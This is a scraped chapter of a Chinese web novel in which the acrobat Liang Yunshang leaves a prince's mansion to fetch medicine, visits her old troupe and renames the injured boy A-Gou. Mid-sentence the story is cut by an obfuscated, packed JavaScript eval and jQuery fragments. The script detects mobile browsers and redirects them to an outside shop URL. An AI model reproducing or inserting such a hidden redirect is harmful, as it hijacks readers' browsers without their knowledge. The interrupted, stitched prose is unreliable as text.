默认冷灰
24号文字
方正启体

5. 阿狗

作者:蛇口芭内本书字数:K更新时间:
    梁云裳看着庆大春和阿狗走出王府的大门,确定两人已经安全离开,她才依依不舍地回过头。


    文肆闫已经离开,留下吉霄一人。


    “云裳姑娘,已经让下人备好了新衣,你有什么需要跟下人直说无妨。”


    梁云裳谢过吉霄,回到了偏房,她看着床上摆放的粉色新衣,又低头看了看自己身上沾满蜘蛛网和灰尘,还破了两道口子的衣服。


    “哎。“梁云裳叹了口气,伸手摸着衣服又滑又软的布料,心里不是滋味。


    “铛铛——”两声敲门。


    梁云裳快速收回手,回应道:“诶,诶。”


    “姑娘,水已经烧好,可以沐浴了。”门外是王府侍女琥珀的声音。


    “好。”


    梁云裳有些不知所措地坐在浴盆里,水气弥漫整个浴室,梁云裳看着漂浮在水面的花瓣,散发着一股淡淡的花香。


    在琥珀准备给梁云裳擦身子的时候被梁云裳快速抢过,一遍一遍说着:“不用,不用,我自己来。”


    好说歹说将人赶了出去,梁云裳整个人陷入热水里,盯着水面发呆。


    晚上躺进被窝里时还能闻到一股花香,香炉里的安神香飘出一缕青烟,梁云裳还处在懵然状态,此时此刻浑身暖烘烘,不会手脚冰凉,寒风也不会顺着破烂的窗户缝进来,安稳平静的时光,是梁云裳长这么大头一次体验到。


    大概是前一夜几乎没有睡的缘故,这一夜梁云裳睡得格外香甜,整夜无梦。


    翌日一早,梁云裳被一双手轻轻拍了几下,她背过身嘟囔道:“庆大哥,你让我再睡会儿。”


    “姑娘,奴婢几个伺候你洗漱穿衣。”是昨夜的琥珀,语气轻柔说道。


    她迷糊着睁开眼,扭头见床前站着琥珀身旁站着两个和她穿着一样的侍女。梁云裳慌忙坐起身,忘记自己身在王府了。


    坐在梳妆台前,三个人有条不紊地做着手上的动作,梁云裳看着铜镜里细致盘好的头发,画眉描目,一点点变成自己从未拥有过的模样。


    “这还是我吗?”梁云裳痴痴地望着。


    “姑娘模样生得极好,稍做妆扮就很漂亮了,就是太瘦了些。”其中一个侍女手拿一支素色珠玉耳坠戴在梁云裳耳朵上。


    一身浅绿色点缀淡粉色,宛若春天绽放的一朵花。


    梁云裳看着镜子里的自己,打趣说道:“长胖了就走不了绳,翻跟头踩我大哥身上,太重他要说我的。”


    话头一起,几个女孩子便聊开了。


    “对啊,听说你会杂戏表演?就是舞刀弄枪,连翻好几个跟头那种吗?”


    梁云裳看着她们几个眼睛里的好奇,瞬间得意地扬起下巴:“这都是基本功,从小就练的。”


    “那你练了多少年了?”


    “我七岁就进我们百戏班了,现在算来十三年了。”梁云裳掰着手指算了算。


    说着便拿起桌上的三个茶杯,抛高,双手来回轮换,从不让茶杯落地,梁云裳甚至可以不看手上的动作,跟几个侍女挨个对视。


    “好厉害啊。”琥珀说。


    熟悉的捧场声,让梁云裳瞬间想到了百戏班,她手里动作一顿,险些将茶杯摔一个。


    门口响起两声敲门声,梁云裳快速收起茶杯放在桌上,双手背在身后,看着琥珀把门拉开半边。


    门外的人是吉霄,他站在门口往里面扫了一圈,大概是想问刚才什么声音这么热闹。


    琥珀出声问:“霄侍卫,是有什么吩咐吗?”


    吉霄收回视线,说:“府里来了客人,还请云裳姑娘不要出这个门,等人走了,我会派人来通知你。”


    梁云裳点点头,“哦哦,好。”


    “大概是宫里来人了,”琥珀说着话把门关上,拿起一个小香囊挂在梁云裳腰间,“姑娘就在房中等待就好,人走了我回来通知你的。”


    梁云裳很喜欢琥珀,五官圆润饱满,看起来很可爱,说话不急不躁很温柔。


    等到房间里只剩下梁云裳一个人的时候,她就静静坐在床边,像是一条被拴了铁链的家犬,出不得,叫不得。


    她七岁便跟着庆大春四处云游,走到什么地方就在什么地方歇脚,玥儿这个名字还是庆大春给起的。


    就靠街头卖艺赚些打赏钱,那个时候日子还比较好过。


    后来百戏班仿佛成了庆大春创办的收容所,那些个孤苦伶仃无家可归的少年孩童,庆大春就像当年捡梁云裳一样将他们捡回家。


    孩子里有大有小,都跟着庆大春学杂技。


    梁云裳跟的时间最久,悟性也高,久而久之她成为了百戏班除庆大春外最好的杂技演员。


    “王爷和刘副将外出喝酒去了,可以让她出来了。”吉霄的声音在门口响起,梁云裳几乎是从床上跳起来的,她动作轻快迅速闪到门口,耳朵贴在门口想听得更仔细些。


    突然。


    琥珀拉开门,梁云裳措不及防差点压在琥珀身上,站在一旁的吉霄眼疾手快把琥珀往旁边一拉,梁云裳直接摔倒地上,“哎哟”一声。


    “没事吧。”吉霄问琥珀。


    琥珀摇头,连忙上前扶,梁云裳爬起来,拍了拍身上,有点不好意思地笑了一下。


    “云裳姑娘,这是药方,”吉霄话音刚落,琥珀便把手里的药方递给她,“直接到正阳街的合善堂药铺抓药即可,速速归来。”


    梁云裳接过药方,看着上面密密麻麻一串字。她把药方折叠好放进袖子,点头答道:“是。”


    出了王府大门,梁云裳顺着鸿承大道走,今日街上也是热闹至极,来往全是人。


    她顾不得多逗留,脚下生风,急匆匆赶到指定的那家药铺。梁云裳站在门口看着顶上的牌匾写着合善堂三个字才徐徐走进。


    “老板,抓药。”


    药铺里的伙计应声而来,接过药方看了一眼后,回头上下打量梁云裳,问道:“王爷府上换人了?”


    梁云裳答:“对,我是跑腿的。”


    伙计沉默不语,单手掀开身后的布料走了进去,撂下一句:“等着吧。”


    梁云裳微微皱眉,但也静静等待。


    她发觉整个药铺来抓药的人极少,不知是何缘由。


    梁云裳等了片刻后才见伙计出来,几包捆扎好的药,摆在柜台上,手里算盘拨得啪啪响,最后说:“十五两。”


    “什么?”梁云裳震惊不已,这也太贵了,这药掺金子了不成?难怪没什么生意,也是应该的,梁云裳心想。


    好在梁云裳出门前,琥珀拿了钱给她,此刻荷包里沉甸甸的。


    梁云裳付了钱,把药包抓得紧紧的,生怕丢了得自己赔。


    正阳街不似鸿承大道那样繁华,却更显生活气息。


    挨着合善堂旁边有一家卖糕点的铺子,门口排起队伍,梁云裳看了眼时间还早,便走进队伍的最后面排着。


    殊不知对面酒楼的二层一双眼睛目睹了一切。


    梁云裳一手提药一手提糕点,下一秒就拐进一条巷子,穿大街过小巷,最后在一座破旧不堪的四合院门口停下。


    “你找……”庆大春手中的扫帚一顿,难以置信地喊出:“云裳?”


    梁云裳眼眶瞬间湿润,快步上前。


    “大家伙,玥儿回来了!玥儿回来了!”庆大春嗓音洪亮,话音一落,屋里的伙伴全部冲出来。


    “玥儿!”


    “玥儿姐姐。”


    梁云裳蹲下抱起百戏班里最年幼的女童小晴,亲昵几下。


    “扮成这样,我第一眼还没认出来,像个姑娘家了哈。”庆大春打趣说道,其他人闻声都笑起来,夸玥儿美。


    梁云裳跟着笑:“我路过……来看看大家,给大家带了吃的,大双,小双,快来。”


    说着,提起手里一包枣花酥,让大家分一分。


    “玥儿姐姐,我也想吃。”怀里的小晴搂住梁云裳脖子,声音细软撒娇要吃的。


    梁云裳要来一块儿给女孩儿。


    “什么意思啊玥儿?”庆大春笑容僵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450313|201169||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住,脸色担忧凑到跟前,压低声线:“王爷……不让你走?”


    梁云裳勉强勾着嘴角一笑,轻摇了摇头:“阿狗呢?”


    庆大春眉心的川字皱得更深。


    梁云裳站在厨房门口朝里面喊:“阿狗。”


    阿狗坐在灶台前,听到声音立马抬头。一双漆黑清澈的眼眸望着梁云裳


    “……”


    “不认识我啦?”梁云裳走过去蹲在阿狗旁边,把手里的枣花酥递到面前,说:“给你的。”


    阿狗也不伸手,直勾勾地盯着梁云裳的脸看。


    “怎么了?是哪里不舒服吗?”


    阿狗嘴巴一瘪,眼泪如开闸的河水一般受不住,哭哭啼啼地说:“我以为,我以为你死了,我害怕!我…我……对不起。”


    梁云裳眼眶跟着泛红,摸着他干枯的头发,安慰说:“谢谢你,阿狗。”


    “不哭了,快吃。”梁云裳把枣花酥喂到阿狗嘴边。


    阿狗吃得很香,嘴边沾点碎渣,梁云裳用手擦去渣子。


    “你身上的伤怎么样了?”


    阿狗掀起手臂的布料,他说:“庆大哥带我去看了郎中,说手臂擦了药已经快好了,身上的还需要几天。”


    梁云裳看着手臂的伤口,已经开始结痂。


    阿狗像是为了不让人担心,还说:“已经不疼了。”


    梁云裳轻轻把阿狗的袖子拉下,从地上捡起一截树枝在满是柴灰的地方写下阿狗两个字。


    “阿狗。”梁云裳看着狗这个字怎么看怎么不顺眼,怎么会给人取狗的名字,她用树枝划掉,“玥儿姐姐给你改个名字好不好?”


    阿狗探头过来说:“好啊。”


    “阿——荀,你喜欢吗?”


    阿狗看着柴灰上的字,跟着念读:“阿荀,阿荀。”


    枣花酥的香气和甜蜜弥漫开来,阿荀咂巴几下嘴,心满意足地对梁云裳说:“谢谢玥儿姐姐,能在死之前吃到这么好吃的点心,阿狗……阿荀特别开心。”


    梁云裳抬起的手停在半空,笑容僵硬。


    “不会的,”梁云裳摸着阿荀的脑袋,像是安慰阿荀又像是在安慰自己,“一定会有办法的,一定。”


    “那玥儿姐姐可以帮我找到我的亲人吗?”阿荀声音很小,眼巴巴地望着她,眼底是快要溢出来的渴望。


    梁云裳张了张嘴,还没作声。


    阿荀就迅速跪在满地灰的地面,额头“砰”地一声磕出响。


    “别这样,别这样阿荀!”


    梁云裳伸手去拉他,阿荀就别着反方向的力,说什么都不肯起。


    “你说的,是那个别拐走的姐姐吗?”


    阿荀抬起头来,碰了满脸的灰,他闷闷地声音说:“她叫阿弥,我也一直有在找她,但是她就好像人间蒸发了一样,没有一点消息。”


    梁云裳不忍皱眉,就凭她,真的能找到一个消失的人吗?


    这样的话,她说不出口。


    “我会找找看的,你不要担心,在百戏班好好学手艺,好吗?”


    阿荀红着眼眶,用灰扑扑的手背擦眼间,嗓子里发出细密激动地哼声,“——嗯。”


    梁云裳离开前把荷包里最后一点银子全部塞给庆大春,说给伙伴们改善伙食。


    庆大春说什么都不要,“我不可能拿这个钱!让你在王府那种地方悬着脖子过日子。”


    “大哥,你拿着吧,我这不是好好的吗,他那么大个王爷会计较这三瓜两枣的吗?我不跟你多说了,我要走了。”


    梁云裳提起药包,站在大门口回头看着院子里一群人,心口堵得慌。


    她跟庆大春说:“大哥,阿狗从今天改名叫阿荀了,他身上的伤也要按时擦药——”


    话没说话,庆大春便连忙摆手


    “我庆大春带大了这么多孩子,这样一个还是绰绰有余的。”庆大春拍着胸脯信誓旦旦地说。


    梁云裳依依不舍,一步三回头,直接转进巷子看不见才加快脚步往回赶。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)